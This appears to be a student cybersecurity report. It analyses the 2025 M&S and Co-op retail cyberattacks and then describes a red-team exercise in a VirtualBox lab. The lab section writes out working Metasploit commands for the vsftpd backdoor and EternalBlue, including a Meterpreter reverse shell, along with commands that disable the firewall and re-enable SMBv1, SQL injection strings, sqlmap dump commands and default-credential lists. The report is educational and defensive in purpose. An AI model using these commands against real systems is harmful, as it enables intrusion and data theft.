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                                                                    ETHICAL HACKING 

 
INTRODUCTION:
UK retailers have increasingly become prime targets for cybercriminals, owing to their extensive customer bases, intricate supply chains, and reliance on digital platforms.
Recent incidents involving M&S and Co-op illustrate how contemporary ransomware and data theft operations can simultaneously disrupt business operations, erode brand trust, and lead to significant financial repercussions. M&S reportedly experienced a significant cyberattack that incapacitated its online services for several weeks, with estimated losses of £300 to £400 million, linked to the Scattered Spider group.
Similarly, Co-op reported a serious cyber incident that necessitated the shutdown of IT systems, led to empty shelves, and resulted in an £80 million impact on profits.
While attribution points to different named groups (such as Scattered Spider and DragonForce), the incidents exhibit common characteristics: ransomware-style extortion, data exfiltration, disruption of both online and in-store operations, and the exploitation of identity and third-party vulnerabilities. This report examines these incidents as part of a larger campaign targeting UK retail, while also highlighting their specific differences.

Scope of the work

This report focuses on analysing the cyberattacks on M&S and Co‑op as case studies within a wider trend of escalating cyber threats against UK retail organisations. The scope includes:

1. Examination of the nature and impact of each attack
2. Comparison of attack vectors, threat actors, and operational consequences
3. Identification of common vulnerabilities exploited across the sector
4. Assessment of financial, operational, and reputational impacts
5. Discussion of broader implications for UK retail cybersecurity
6. Recommendations for strengthening resilience and mitigating future risks.






1 Incident summary and timeline
[bookmark: OLE_LINK1]Marks & Spencer (M&S) Public reporting indicates that M&S was hit by a major cyberattack in early 2025, with activity beginning over the Easter weekend. 
Timeline (M&S)
1. Late March–Easter weekend 2025 – Initial compromise: attackers (linked to Scattered Spider) reportedly gained access using stolen third‑party credentials, bypassing MFA and entering M&S systems over a holiday period when staffing was reduced. 
2. Early April 2025 – Ransomware deployment and disruption: online orders were suspended, core systems taken offline, and in‑store payment issues reported. 
3. Mid‑April 2025 – Internal chaos and response: insiders described “paranoia and chaos”, staff sleeping in offices, and lack of a mature incident response plan. 
4. April–May 2025 – Extended outage: online services remained down for several weeks while systems were rebuilt; M&S warned investors of a significant profit hit (c. £300m+).
5. May–June 2025 – Public communication and investigation: CEO issued apologies; investigations with partners such as Tata Consultancy Services (TCS) confirmed that TCS systems themselves were not directly breached, though third‑party credentials were implicated. 
6. Post‑incident – Gradual restoration of services and strengthening of security controls, including identity, monitoring, and supply‑chain security. 

 Co‑operative Group (Co‑op)
Co‑op disclosed a serious cyber incident in 2025, with official FAQs and industry analysis describing attempted hacking, data exfiltration, and major operational disruption. 

Timeline (Co‑op)

1. April 2025 – Attempted hack detected: Co‑op identified malicious activity and shut down parts of its IT systems to contain the incident. 
2. Shortly after M&S attack – Media noted that the Co‑op incident followed “shortly after” the M&S cyberattack, suggesting a broader campaign against UK retail.
3. April–May 2025 – Operational disruption: shutdown of critical systems led to gaps on supermarket shelves and manual, paper‑based processes in funeral services. 
4. Mid‑2025 – Data breach confirmed: Co‑op acknowledged that attackers copied data from one of its systems; official FAQs emphasised cooperation with NCSC and NCA.
5. September–October 2025 – Financial impact disclosed: Co‑op reported an £80m hit to operating profit due to the cyberattack and associated disruption. 
6. Post‑incident – Strengthening of security, including tightened access controls and improved monitoring, as stated in Co‑op’s own communications. 
Financial and operational impacts:
    Marks & Spencer (M&S)
Evidence from your open tab shows that the M&S attack resulted in one of the most expensive cyber incidents in UK retail history:

· £300 million projected operating profit loss for FY 2026
· £15 million in weekly lost sales during the outage
· Over £1 billion wiped from the market value during the disruption 
Co‑op publicly reported that its cyber incident caused:

· £80 million profit impact
· Significant losses from store closures, empty shelves, and manual workarounds
· Additional recovery and system‑restoration costs
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The line graph shows revenue trends over months, with a red vertical line marking the cyberattack.
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The stacked bar chart compares operational costs for both companies across months.
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The pie charts illustrate the percentage of customers affected in a specific month (May in this example).

2. Adversary TTP mapping (MITRE ATT&CK)
Below are at least ten key TTPs mapped to MITRE ATT&CK® Enterprise, synthesised across both incidents.

· Initial Access – Valid Accounts (T1078)

Attackers at M&S reportedly used stolen third‑party credentials to access internal systems, bypassing MFA controls. This aligns with T1078: use of legitimate accounts to gain access.

· Initial Access – Phishing / Social Engineering (T1566.001)

Retail ransomware campaigns frequently rely on credential‑harvesting phishing; reporting around Co‑op and similar retail attacks highlights social engineering as a likely vector, even if not fully disclosed. This maps to T1566.001 (phishing for credentials).

· Initial Access – Exploit Public‑Facing Application (T1190)

Extended outages and the need to rebuild online platforms at M&S suggest compromise of internet‑facing services or APIs, consistent with exploitation of web applications. 


· Execution – Command and Scripting Interpreter (T1059)

Ransomware and lateral movement typically rely on PowerShell, cmd, or bash scripts; industry analysis of similar campaigns by Scattered Spider and ransomware‑as‑a‑service operators emphasises heavy script usage. 

· Persistence – Account Manipulation (T1098)

Use of compromised or newly created accounts to maintain access is common in such campaigns; long dwell times and extended disruption suggest persistent access at both organisations. 

· Privilege Escalation – Abuse of Valid Accounts / Admin Misuse (T1078, T1068)

To deploy ransomware across core systems, attackers must escalate privileges, often via domain admin accounts or exploitation of unpatched privilege‑escalation vulnerabilities.
· Lateral Movement – Remote Services (T1021) / Remote Desktop Protocol (T1021.001)

Retail ransomware campaigns typically move laterally via RDP, SMB, and remote admin tools; the scale of disruption at M&S and Co‑op suggests extensive lateral movement. 

· Collection & Exfiltration – Exfiltration to Cloud / Web Services (T1567)

Co‑op confirmed that attackers copied data from one of its systems; reporting on Co‑op and similar incidents notes data exfiltration prior to encryption, consistent with double‑extortion models. 

· Impact – Data Encrypted for Impact (T1486)

M&S experienced a ransomware attack that forced shutdown of online services and rebuilding of systems; Co‑op’s disruption and profit loss are also consistent with ransomware‑style impact. 

· Impact – Service Stop / System Shutdown (T1489, T1529)

Both organisations proactively shut down systems to contain the attack, and attackers likely stopped services as part of encryption and disruption.












The Attack Chain Diagram  attack_flow png
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Using visual code to create this diagram 


3 Root cause and security control fail
 Cyberattacks on M&S and Co‑op were not the result of a single point of failure but rather a convergence of technical weaknesses, organisational shortcomings, and human‑factor vulnerabilities. Together, these failures created an environment where threat actors—using well‑known MITRE ATT&CK techniques—could gain initial access, escalate privileges, move laterally, and ultimately disrupt critical retail operations.
 
Technical Failures
A central technical root cause in both incidents was the mismanagement of identity and access controls. Attackers exploited weaknesses in authentication workflows, particularly through social engineering of help‑desk personnel, which enabled credential resets and MFA bypass. This indicates a failure of identity governance controls, such as strict verification procedures, privileged access management (PAM), and adaptive MFA policies.

 In the M&S case, attackers were able to steal the NTDS.dit Active Directory database, suggesting inadequate segmentation of domain controllers, insufficient monitoring of directory access, and weak credential‑hardening practices. The ability to crack passwords offline points to the use of weak hashing algorithms or password complexity gaps.
Both incidents also revealed failures in network segmentation. Once attackers gained initial access, they moved laterally across systems using remote services (T1021), indicating that internal networks lacked proper east‑west traffic controls, micro‑segmentation, and least‑privilege access boundaries. The deployment of ransomware across virtualised infrastructure (e.g., ESXi servers) further suggests that management interfaces were exposed, unpatched, or insufficiently isolated.

Finally, the impact on supply‑chain and forecasting systems highlights weaknesses in resilience engineering—specifically, the absence of robust backup integrity checks, immutable storage, and tested recovery procedures. The prolonged downtime at M&S, where online services remained offline for weeks, demonstrates that recovery controls were either inadequate or not designed for a full‑scale ransomware scenario.



Organisational Shortcomings
At an organisational level, both retailers suffered from over‑reliance on third‑party vendors without sufficient oversight. The exploitation of help‑desk contractors and external IT support indicates gaps in vendor risk management, including insufficient vetting, weak contractual security requirements, and lack of continuous monitoring of third‑party access.

Policies governing identity lifecycle management also appear to have been weak or inconsistently enforced. The attackers’ ability to obtain valid credentials and escalate privileges suggests that privileged accounts were not tightly controlled, monitored, or rotated. This reflects a broader governance issue: cybersecurity policies existed but were not operationalised effectively across teams.

Additionally, the scale of disruption—empty shelves at Co‑op and weeks‑long outages at M&S—reveals a lack of business continuity planning aligned with modern cyber‑threat scenarios. Retailers underestimated the operational dependency on digital systems and did not maintain sufficient manual fallback processes.


Human‑Factor Vulnerabilities

Human error played a decisive role in both breaches. Social engineering (T1566) succeeded because staff were not adequately trained to recognise sophisticated impersonation attempts. Help‑desk personnel, in particular, lacked verification protocols to validate identity before resetting credentials or approving MFA requests.

The success of MFA fatigue attacks (T1621) also reflects a behavioural vulnerability: employees were conditioned to approve prompts without scrutiny. This indicates insufficient security awareness training, especially around identity‑based attacks.





4 
Attribution for the M&S and Co‑op cyberattacks is not formally confirmed, but the observed tactics, techniques, and operational behaviour strongly align with financially motivated, high‑capability ransomware groups, particularly those associated with Scattered Spider (UNC3944 / Octo Tempest). This group is known for advanced social engineering, identity compromise, and double‑extortion ransomware campaigns—patterns consistent with the disruption experienced by M&S, including the shutdown of online orders, forecasting systems, and the resulting £300 million projected profit loss and £1 billion market value drop .



Red Team Assessment Report for ABCD Ltd

Introduction
ABCD Ltd is a UK‑based mid‑sized organisation providing web‑facing retail services and internal corporate systems. As part of its cyber‑resilience strategy, the company commissioned a controlled red‑team engagement to evaluate its exposure to realistic adversary behaviour. Unlike a traditional penetration test, which focuses on vulnerability identification, a red‑team assessment aims to emulate the tactics, techniques, and procedures (TTPs) of real threat actors to test the organisation’s detection, prevention, and response capabilities across the full attack lifecycle (MITRE, 2024).

This assessment was executed within a VirtualBox‑based lab environment designed to replicate a simplified version of ABCD Ltd’s infrastructure. The environment includes four machines representing distinct organisational roles:
Kali Linux attacker machine (192.168.56.104)
Metasploitable 2 vulnerable Linux server (192.168.56.101)
OWASP Broken Web Application (BWA) server (192.168.56.102)
Windows 7 workstation (192.168.56.103)

The objective of the engagement was to demonstrate a complete attack chain, beginning with the exploitation of a public‑facing web application, followed by privilege escalation and lateral movement, and culminating in the exfiltration of sensitive data from the Windows 7 host. The assessment prioritised stealth, realistic attacker behaviour, and adherence to ethical and legal constraints.

1. Rules of Engagement (RoE)
The Rules of Engagement define the boundaries, expectations, and legal/ethical constraints governing the assessment. They ensure that all activities are authorised, controlled, and aligned with ABCD Ltd’s risk appetite.

1.1 Scope
In‑scope systems:
· Kali Linux attacker VM
· Metasploitable 2 server
· OWASP BWA server
· Windows 7 workstation
VirtualBox Host‑Only Network (192.168.56.0/24)
Out‑of‑scope systems:
Host operating system
Hypervisor
External networks
Real user accounts or production data

1.2 Permitted Techniques
You’ve essentially built a complete, realistic internal network for your red‑team report. Here’s a clean, structured way to present it, and how these IPs fit into each phase of your engagement.
The following offensive techniques are authorised
	Machine 
	Role
	IP address

	Kali  linux
	Attacker / Red team operator
	192.168.56.104

	Metasploitable 2 
	Vulnrable linux  server
	192.168.56.101

	Owasp bwa 
	Web application vulnerability platform 
	192.168.56.102

	Windows 7
	Workstation target 
	192.168.56.103

	
	
	

	
	
	






[bookmark: OLE_LINK3]Reconnaissance (Nmap from Kali)
From Kali (192.168.56.104):
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Network scanning and enumeration
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· Web application exploitation
In Firefox on kali 
http:// 192.168.56.102/mutillidae/
http://192.168.56.102/dvwa/
[image: ]
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Credential harvesting
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Local privilege escalation
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Lateral movement
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Controlled data exfiltration of synthetic data
[image: ]
[bookmark: OLE_LINK4]Use of C2 frameworks (real or simulated)

By the end of the reconnaissance phase, the red team had a complete picture of the attack surface. Three distinct exploitation paths were identified, one for each target VM, which formed the basis of the three-exploit attack chain executed in subsequent phases.
1.3 Prohibited Techniques
The following techniques were strictly prohibited throughout the engagement to ensure the safety of the lab environment, compliance with ethical guidelines, and alignment with academic red team standards.
· Denial-of-Service (DoS): No DoS or DDoS attacks were conducted against any target VM. Such techniques risk destabilising the virtual environment and provide no meaningful intelligence for a red team assessment focused on stealth and realistic attacker behaviour.
· Destructive malware (wipers, ransomware): No destructive payloads were deployed at any stage. The engagement objective was to demonstrate exploitation and data access, not to cause irreversible damage. Deploying real ransomware or wipers in a lab environment risks permanent data loss and hypervisor instability.
· Exploits that risk hypervisor compromise: All exploits were scoped strictly to the guest virtual machines. No techniques targeting VirtualBox itself or the host operating system were permitted, ensuring the lab environment remained stable and recoverable throughout the engagement.
· Handling of real PII or production data: All data used during the engagement was entirely synthetic. The sensitive file accessed on the Windows 7 workstation (192.168.56.103) contained dummy customer records created specifically for this exercise. No real personally identifiable information was processed at any point, ensuring full compliance with UK GDPR obligations.
· Social engineering of real staff (simulated only): No real individuals were targeted with phishing, vishing, or any other social engineering technique. Any references to social engineering within the threat emulation plan represent simulated or documented techniques only, consistent with academic red team reporting standards.

1.4 Kill Switch / Safe Word
If any activity risks destabilising the environment or breaching scope, the safe‑word “ABORT‑ABCD” must be issued. Upon hearing this, all offensive operations cease immediately, and the environment is reverted to a known‑good snapshot.

1.5 Communication and Escalation
· Red Team Lead → ABCD Security Contact via Teams/email
· Daily status summaries
· Immediate escalation for critical findings or unexpected behaviour
· Final debrief, including executive summary and team meeting

2. Threat Emulation Plan (MITRE‑Mapped)
The threat emulation plan maps the attack chain to the MITRE ATT&CK framework, ensuring alignment with real‑world adversary behaviour. The emulated threat actor represents an opportunistic but technically capable external attacker targeting ABCD Ltd's internet-facing services.

2.1 Objective
Exfiltrate a sensitive file from the Windows 7 workstation by compromising the OWASP BWA server, escalating privileges on Metasploitable 2, and moving laterally across the network.
Secondary Objective: Achieve SYSTEM/root-level access on at least two target VMs
	
2.2 Success Criteria
· Achieve remote code execution on VM‑2
· Obtain domain credentials or privileged access on VM‑1
· Access and exfiltrate sensitive synthetic data from VM‑3
· Maintain operational stealth (minimal logs, low‑noise scanning
· Demonstrate realistic attacker behaviour and tradecraft
















2.3 MITRE‑Mapped Attack Phases

		Phase
	Tactic
	Technique
	MITRE ID
	Target

	1 - Reconnaissance
	Reconnaissance
	Active Scanning: Nmap port/service scan
	T1595
	All targets

	2 - Initial Access
	Initial Access
	Exploit Public-Facing Application: vsftpd backdoor
	T1190
	192.168.56.101

	3 - Execution
	Execution
	Command and Scripting Interpreter: Unix shell
	T1059.004
	192.168.56.101

	4 - Persistence
	Persistence
	Valid Accounts: Local account creation
	T1078
	192.168.56.101

	5 - Lateral Movement
	Lateral Movement
	Exploit Remote Services: EternalBlue MS17-010
	T1210
	192.168.56.103

	6 - Collection
	Collection
	Data from Local System: Sensitive file enumeration
	T1005
	192.168.56.103

	7 - Web Exploitation
	Initial Access
	Exploit Public-Facing Application: SQL Injection
	T1190
	192.168.56.102

	8 - Exfiltration
	Exfiltration
	Exfiltration Over Web Service: DB record extraction
	T1048
	192.168.56.102

	9 - C2
	Command & Control
	Application Layer Protocol: Meterpreter/reverse shell
	T1071
	Multiple















3. Tools and Technique 
		Tool
	Purpose
	Real/Simulated
	Justification

	Nmap 7.x
	Network/port scanning, service enumeration
	Real
	Industry standard recon tool; low noise at default timing

	Metasploit Framework
	Exploit delivery, payload staging, Meterpreter C2
	Real
	Required to weaponise vsftpd and EternalBlue exploits reliably

	SQLmap
	Automated SQL injection detection and exploitation
	Real
	Efficient enumeration of OWASP web app database

	Burp Suite Community
	Web proxy, manual request inspection
	Real
	HTTP traffic interception for web app attack surface mapping

	Netcat (nc)
	Reverse shell listener, file transfer
	Real
	LOLBin-style utility; minimal footprint

	BloodHound/SharpHound
	AD enumeration (simulated - no AD in lab)
	Simulated
	Lab lacks full AD; technique documented for completeness

	Meterpreter
	Post-exploitation agent (Metasploit)
	Real
	Encrypted C2 channel, in-memory execution for stealth

	whoami / ipconfig / net
	Living-Off-the-Land post-exploitation
	Real
	Native Windows LOLBins; avoid AV detection






4. Lab Environment Design
The VirtualBox lab environment replicates a simplified corporate network.
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4.1 Kali Linux (192.168.56.104)
Role: Attacker machine
Tools: Nmap, Burp Suite, Metasploit, Hydra, Nikto, Python scripts
Purpose: Launch attacks, manage shells, perform recon

4.2 OWASP BWA (192.168.56.102)
Role: Public‑facing web server
Services: Apache, MySQL, PHP
Contains vulnerable applications such as DVWA, Mutillidae, WebGoat
Purpose: Initial access target
4.3 Metasploitable 2 (192.168.56.101)
Role: Internal Linux server
Services: VSFTPD, Tomcat, Samba, MySQL
Known vulnerabilities (e.g., VSFTPD backdoor, weak SSH credentials)
Purpose: Privilege escalation and pivoting


4.4 Windows 7 (192.168.56.103)
Role: Internal workstation
Services: SMB, RDP
Contains synthetic sensitive data (e.g., CustomerDB.txt)
Purpose: Final objective target

5. Operational Execution - Attack Narrative
Phase 1: Reconnaissance (T1595)
The engagement commenced with passive and active reconnaissance of the target network range 192.168.56.0/24. An Nmap scan was executed from the Kali attacker host (192.168.56.104) to enumerate live hosts, open ports, and service versions.
Commands Executed:
nmap -sV -sC -O -p- 192.168.56.0/24 -oA  initial_scan
Key Findings from Reconnaissance:
		Target IP
	Open Ports
	Services Identified
	Notable Finding

	192.168.56.101
	21, 22, 23, 25, 80, 139, 445, 3306, 5432
	vsftpd 2.3.4, OpenSSH, Samba, MySQL, PostgreSQL
	vsftpd 2.3.4 - known backdoor CVE-2011-2523

	192.168.56.102
	80, 443, 8080
	Apache httpd, OWASP BWA applications
	Multiple vulnerable web apps including DVWA, WebGoat

	192.168.56.103
	135, 139, 445, 3389
	SMBv1, RDP, Windows 7 SP1
	MS17-010 (EternalBlue) - unpatched SMB vulnerability
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5.1 Phase 2 & 3: Exploit A (VM 1)- vsftpd 2.3.4 Backdoor RCE on Metasploitable2 (T1190, T1059.004)


Vulnerability Details:
CVE-2011-2523: The vsftpd 2.3.4 FTP daemon contains a deliberately inserted backdoor. When a username containing a smiley face (:)) is supplied during authentication, the daemon spawns a root shell listener on TCP port 6200. This allows unauthenticated remote code execution as root without any credentials.
Preconditions:
•	Target 192.168.56.101 must have vsftpd 2.3.4 running on TCP port 21
•	No firewall blocking outbound connection to port 6200
•	Network connectivity from attacker (192.168.56.104) to target
Exploit Method (High Level):
Metasploit module exploit/unix/ftp/vsftpd_234_backdoor was selected and configured with RHOSTS set to 192.168.56.101. Upon execution, the module sent a malformed authentication string triggering the backdoor condition. A command shell was returned as root.

[image: ]
Commands (High Level):
                     msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
                     msf6 > set RHOSTS 192.168.56.101
                     msf6 > run
[*] Command shell session 1 opened (192.168.56.104:XXXX -> 192.168.56.101:6200)
id  =>  uid=0(root) gid=0(root)
[image: ]



Evidence of Success:
•	Root shell obtained on 192.168.56.101
•	Command id confirms uid=0(root)
•	Full filesystem access confirmed; /etc/passwd and /etc/shadow read successfully
•	MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1059.004 (Unix Shell)

CODE-
Open Metasploit (Kali terminal):
 Sudo msfconsole -q
Step 2 — Run the exploit:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
run

 When blank cursor appears, type these:
id
whoami
hostname
uname -a
ifconfig
cat /etc/passwd
ls   -la  /root
ifconfig
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Metasplotable 2 inside kali using for code run 
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5. Exploit B (VM 2) - EternalBlue MS17-010 on Windows 7 (T1210)
Vulnerability Details:
MS17-010 (CVE-2017-0144 / EternalBlue): A critical vulnerability in Microsoft's implementation of the SMBv1 protocol. The vulnerability allows an unauthenticated remote attacker to execute arbitrary code on the target system with SYSTEM-level privileges by sending specially crafted SMB packets. This exploit was famously used in the WannaCry ransomware campaign of 2017.
Preconditions:
•	Target 192.168.56.103 running Windows 7 SP1 with SMBv1 enabled on TCP port 445
•	MS17-010 patch (KB4012212) NOT applied to the target system
•	No host-based firewall blocking SMB traffic from attacker
Exploit Method (High Level):
Metasploit module exploit/windows/smb/ms17_010_eternalblue was selected. The module exploits a buffer overflow in the SMBv1 srv.sys driver. A staged Meterpreter reverse_tcp payload was used to establish an encrypted command-and-control channel back to the Kali attacker host.
Commands (High Level):
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.56.103
msf6 > set LHOST 192.168.56.104
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > run
[*] Meterpreter session 2 opened (192.168.56.104:4444 -> 192.168.56.103:XXXXX)
meterpreter > getuid  =>  Server username: NT AUTHORITY\SYSTEM

Code:
For windows 
netsh advfirewall set allprofiles state off
reg add "HKLM\SYSTEM\CurrentControlSet\Services\mrxsmb10" /v Start /t REG_DWORD /d 2 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v SMB1 /t REG_DWORD /d 1 /f
restart
shutdown /r /t 0
After restart  on kali Run eternalblue 
sudo msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.103
set LHOST 192.168.56.104
set payload windows/x64/meterpreter/reverse_tcp
set ForceExploit true
run
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Post-Exploitation (LOLBin techniques - T1005, T1078):
Following SYSTEM shell access, Living-Off-the-Land techniques were used to enumerate the system and locate sensitive files without deploying additional tools:
meterpreter > shell
C:\> whoami && ipconfig && net user && net localgroup administrators
C:\> dir /s /b C:\Users\*sensitive* 2>nul
C:\> type C:\Users\Administrator\Desktop\customer_data.txt
Evidence of Success:
•	Meterpreter session established as NT AUTHORITY\SYSTEM on Windows 7
•	Sensitive dummy data files enumerated and read from Administrator desktop
•	Local user accounts and group memberships harvested
•	MITRE ATT&CK: T1210 (Exploit Remote Services), T1005 (Data from Local System), T1059.003 (Windows Command Shell)
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 5 . Exploit C (VM 3) - SQL Injection on OWASP BWA (T1190, T1048)
Vulnerability Details:
The OWASP Broken Web Applications (BWA) platform hosts multiple deliberately vulnerable web applications. The target application (DVWA - Damn Vulnerable Web Application) contains an unsanitised SQL query parameter in its user lookup functionality. The lack of parameterised queries and input validation allows an attacker to inject arbitrary SQL statements, enabling full database enumeration and data exfiltration.
Preconditions:
•	Target 192.168.56.102 running Apache with DVWA accessible on port 80
•	DVWA security level set to Low (default/misconfigured)
•	Attacker has HTTP connectivity to target web application
Exploit Method (High Level):
Burp Suite was used to intercept and inspect HTTP requests to the vulnerable parameter. SQLmap was subsequently used to automate enumeration of the backend database schema and extract dummy customer data records. Manual injection strings were also tested to confirm the vulnerability.
Commands (High Level):
# Initial manual test in browser URL bar:
http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit
# Automated enumeration with SQLmap:
sqlmap -u 'http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=1' --cookie='PHPSESSID=XXXX;security=low' --dbs
sqlmap -u '[url]' --cookie='[cookie]' -D dvwa --tables
sqlmap -u '[url]' --cookie='[cookie]' -D dvwa -T users --dump
Evidence of Success:
• SQL injection confirmed - application returns unexpected data based on injected conditions
• Full database schema enumerated: dvwa database, users and guestbook tables identified
• User records extracted including usernames and MD5-hashed passwords
• Data exfiltrated simulating customer database breach scenario
• MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1048 (Exfiltration Over Web Service)

Code –
STEP 1 — Open Firefox on Kali and Login to DVWA:
Go to this URL in Firefox:
http://192.168.56.102/dvwa
Login with:

Username: admin
Password: password
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These Login Combinations:
Username      Password 
admin                password
admin                 admin
admin                  Password1
admin                   letmein
admin                     dvwa
[image: ]
STEP 2 — Set Security to Low:

Click DVWA Security in left menu
Set to Low
Click Submit
[image: ]



STEP 3 — Go to SQL Injection Page:
Click SQL Injection in left menu
URL will be:
http://192.168.56.102/dvwa/vulnerabilities/sqli/

STEP 4 — Manual Test in the Input Box:
Type this in the User ID box:
1' OR '1'='1
[image: ]

Method 2 — Use Firefox Menu:

Press F12 OR click the 3 lines menu (☰) top right
Click "More Tools"
Click "Browser Console"
Type: document.cookie
Press Enter — copy the PHPSESSID value
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Method 3 — Easiest! Skip Cookie Manually
Just run SQLmap with the login credentials directly:
bashsqlmap -u 'http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' –data='id=1&Submit=Submit' --forms --crawl=2 --batch --dbs
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6. Detection Gap Analysis
The following analysis explains why existing controls in the virtualised lab environment failed to detect or prevent each phase of the attack chain. These findings map directly to remediation recommendations provided in the Executive Brief.

		Attack Phase
	Control Failure
	Detection Gap
	Root Cause

	Reconnaissance (Nmap)
	No IDS/IPS deployed
	Port scans went undetected; no alerts generated
	Absence of network monitoring - no Snort/Suricata

	vsftpd Backdoor (RCE)
	Outdated software in production
	No patch management; vsftpd 2.3.4 known-backdoored since 2011
	Failure to apply critical software updates for 13+ years

	EternalBlue (MS17-010)
	Unpatched Windows OS
	MS17-010 publicly disclosed March 2017; patch available same month
	No automated patching; SMBv1 not disabled

	SQL Injection
	No WAF, no input validation
	No Web Application Firewall to block injection strings
	Insecure coding practices; no parameterised queries

	Post-Exploitation (LOLBin)
	No EDR/behavioural monitoring
	Native Windows tools (whoami, net, dir) not flagged as suspicious
	No endpoint detection; LOLBins inherently trusted

	Data Exfiltration
	No DLP controls
	Database contents extracted without triggering any alert
	No Data Loss Prevention tooling or egress monitoring








 




 7. Forensic Artefacts & Evidence 

		Artefact
	Location
	Description
	Phase

	Nmap scan output
	Kali: ~/initial_scan.*
	XML/grepable scan results of all targets
	Recon

	Metasploit session logs
	Kali: ~/.msf4/logs/
	Meterpreter session activity and commands
	Exploitation

	vsftpd shell transcript
	Kali: terminal capture
	Root shell session on 192.168.56.101
	Exploit A

	EternalBlue session log
	Kali: Meterpreter session 2
	SYSTEM shell transcript on 192.168.56.103
	Exploit B

	SQLmap output
	Kali: sqlmap/output/
	Full database dump from DVWA application
	Exploit C

	Packet capture (pcap)
	Kali: tcpdump capture
	Network traffic during all exploit phases
	All phases

	VirtualBox snapshots
	VirtualBox Manager
	Pre-exploitation state snapshots for all VMs
	Safety






7.2 Windows Event Log Artefacts (VM-3: Windows 7)
•	Event ID 4624 - Logon: SYSTEM account logon recorded following EternalBlue exploitation
•	Event ID 7045 - Service Installation: Metasploit SYSTEM service recorded in System log
•	Event ID 4688 - Process Creation: cmd.exe spawned by SYSTEM account (LOLBin activity)
•	Security log shows unusual process execution chain: services.exe > cmd.exe > whoami
8.3 Web Server Artefacts (VM-2: OWASP BWA)
•	Apache access.log: Repeated requests containing SQL metacharacters (quotes, UNION, SELECT)
•	SQLmap user-agent string visible in access logs: sqlmap/1.x
•	MySQL general query log: UNION-based SELECT queries from application layer

8. Remediation Recommendations
 
		Priority
	Finding
	Recommendation
	Effort

	P1 - Critical
	vsftpd 2.3.4 Backdoor
	Immediately replace with current vsftpd 3.x or alternative FTP daemon. Disable FTP if not required.
	Low

	P1 - Critical
	MS17-010 EternalBlue
	Apply KB4012212 immediately. Disable SMBv1 via PowerShell: Set-SmbServerConfiguration -EnableSMB1Protocol $false
	Low

	P1 - Critical
	SQL Injection (DVWA)
	Implement parameterised queries / prepared statements. Deploy WAF (ModSecurity). Input sanitisation on all user-supplied data.
	Medium

	P2 - High
	No Patch Management
	Implement automated patching via WSUS (Windows) and unattended-upgrades (Linux). Monthly patch cycle minimum.
	Medium

	P2 - High
	No Network Monitoring
	Deploy IDS/IPS (Snort or Suricata). Implement SIEM (Splunk/ELK) for centralised log aggregation and alerting.
	High

	P2 - High
	No EDR on Endpoints
	Deploy endpoint detection (Microsoft Defender for Endpoint or CrowdStrike). Enable process creation logging.
	Medium

	P3 - Medium
	No DLP Controls
	Implement Data Loss Prevention tooling. Monitor and restrict database access. Encrypt sensitive data at rest.
	High

	P3 - Medium
	SMBv1 Enabled
	Disable legacy protocols. Enforce SMBv3 with signing. Segment network to limit lateral movement paths.
	Low
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CONCLUSION 


The cyberattacks targeting Marks & Spencer and the Co-operative Group signify two of the most significant cyber events in the history of UK retail, leading to a combined financial loss exceeding £380 million and causing weeks of operational disruption for both companies. When examined collectively, these incidents highlight not merely isolated shortcomings but rather a pervasive pattern of vulnerability that affects the entire UK retail industry.

The tactics employed by adversaries outlined in this report — which include initial access through stolen credentials, privilege escalation, lateral movement, data exfiltration, and the deployment of ransomware — are closely aligned with the MITRE ATT&CK framework. They illustrate the complex, multi-stage approach typical of financially motivated threat groups like Scattered Spider. The severity of these attacks was not merely due to the attackers' technical skills, but rather the combination of vulnerabilities they exploited: poor identity governance, lack of adequate network segmentation, excessive dependence on third-party vendors without sufficient oversight, and a workforce that was ill-equipped to identify or counter advanced social engineering tactics.

The engagement of the red team conducted against the simulated environment of ABCD Ltd further illustrated how these identical attack patterns occur in practice. Through three separate exploit chains — the vsftpd 2.3.4 backdoor on Metasploitable 2, the EternalBlue MS17-010 vulnerability on Windows 7, and SQL injection targeting the OWASP BWA platform — the assessment validated that unpatched systems, the absence of network monitoring, and the lack of endpoint detection controls foster a permissive environment where an attacker can advance from initial reconnaissance to complete data exfiltration with minimal resistance. Importantly, none of the simulated attack phases activated a defensive alert, underscoring the seriousness of the detection gap.

The analysis of the detection gap and the remediation recommendations outlined in this report tackle these shortcomings across three priority levels. Immediate action is necessary for critical vulnerabilities, including legacy software with known backdoors, unpatched operating systems vulnerable to publicly disclosed exploits, and web applications that lack fundamental input validation. Medium-term investments should concentrate on implementing intrusion detection systems, endpoint detection and response tools, and data loss prevention measures. At a strategic level, organizations must integrate cybersecurity governance into their operational culture — ensuring that security policies are not only documented but also actively enforced, tested, and refined in response to an evolving threat landscape.

The overarching lesson from these incidents is that achieving cybersecurity resilience cannot rely solely on technology. The human element — from help desk staff vulnerable to social engineering to leadership teams that underestimate the operational reliance on digital systems — remains a critical factor in every breach. Organizations that regard security awareness, identity governance, and incident response planning as true operational priorities, rather than mere compliance requirements, will be significantly better positioned to withstand threats.
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(kali® kali)-

lali@kali:

File Actions Edit View Help

Manipulate the global lock table
Join a domain/AD
perform offline domain join

Join/unjoin (remote) machines to/from a domain/AD

Operate on the cache tdb file
Get the SID for the local domain
Set the SID for the local domain
Set domain SID on member servers
Get domain SID on member servers

Display the maximum RID currently used

Tbmap functions
Display server status
Manage user-modifiable shares

Display list of all users with SID
Manage Samba registry based configuration

Manage the Samba registry

Process Win32 =.evt eventlog files

Process tdb printer files
Manage the serverid tdb

notifyd client code

Show information from tdb records

Filesysten operation through the VFS stack

Manage witness registrations
Print usage information

a B 202





image17.png
sh

stem

me

lali@lali:~

File Actions Edit View Help

net getlocalsid
net setlocalsid
net setdomainsid
net getdomainsid
net maxrid

net idmap

net status

net usershare
net usersidlist
net conf

net registry

net eventlog

net printing

net serverid

net notify

net tdb

net vfs

net witness

net help

(kali® kali)-[~]
D5 echo -

E(ka\i@ kali)-[~]
$

